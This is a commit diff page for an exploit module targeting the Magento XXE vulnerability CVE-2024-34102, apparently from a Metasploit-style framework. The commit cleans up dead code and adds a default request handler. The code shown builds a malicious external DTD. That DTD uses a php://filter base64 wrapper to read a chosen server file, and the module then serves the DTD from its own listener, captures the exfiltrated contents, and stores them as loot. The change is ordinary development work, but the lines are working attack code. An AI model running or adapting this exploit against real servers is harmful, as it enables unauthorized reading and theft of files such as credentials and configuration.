Skip to content

Commit 07c1d81

Browse files
committed
Cleaning dead code and addeding default case
1 parent 16fefd9 commit 07c1d81

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/multi/http/magento_xxe_cve_2024_34102.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,6 @@ def initialize(info = {})
3737
],
3838
'DefaultTarget' => 0,
3939
'Notes' => {
40-
'AKA' => ['CosmicSting'],
4140
'Stability' => [CRASH_SAFE],
4241
'Reliability' => [],
4342
'SideEffects' => [IOC_IN_LOGS]
@@ -96,9 +95,8 @@ def dtd_param_name
9695
@dtd_param_name ||= rand_text_alpha_lower(4..8)
9796
end
9897

99-
def make_xxe_dtd(filter_path = nil, file = nil)
100-
file ||= datastore['FILE']
101-
filter_path ||= "php://filter/convert.base64-encode/resource=#{file}"
98+
def make_xxe_dtd
99+
filter_path = "php://filter/convert.base64-encode/resource=#{datastore['FILE']}"
102100
ent_file = rand_text_alpha_lower(4..8)
103101
%(
104102
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
@@ -172,14 +170,15 @@ def exploit
172170
})
173171
datastore['SSL'] = true if ssl_restore
174172
xxe_request
173+
sleep(5)
175174
rescue Timeout::Error => e
176175
fail_with(Failure::TimeoutExpired, e.message)
177176
end
178177

179178
def on_request_uri(cli, req)
180179
super
181180
data = ''
182-
# vprint_status("Received request for #{req.uri}")
181+
183182
case req.uri
184183
when /(.*).dtd/
185184
vprint_status("Received request for DTD file from #{cli.peerhost}")
@@ -198,6 +197,8 @@ def on_request_uri(cli, req)
198197
p = store_loot(datastore['FILE'], loot_type, datastore['RHOST'], data, loot_desc)
199198
print_good("File saved in: #{p}")
200199
end
200+
else
201+
print_status("Unexpected request received: '#{req.method} #{req.uri}'")
201202
end
202203

203204
send_response(cli, data)

0 commit comments

Comments
 (0)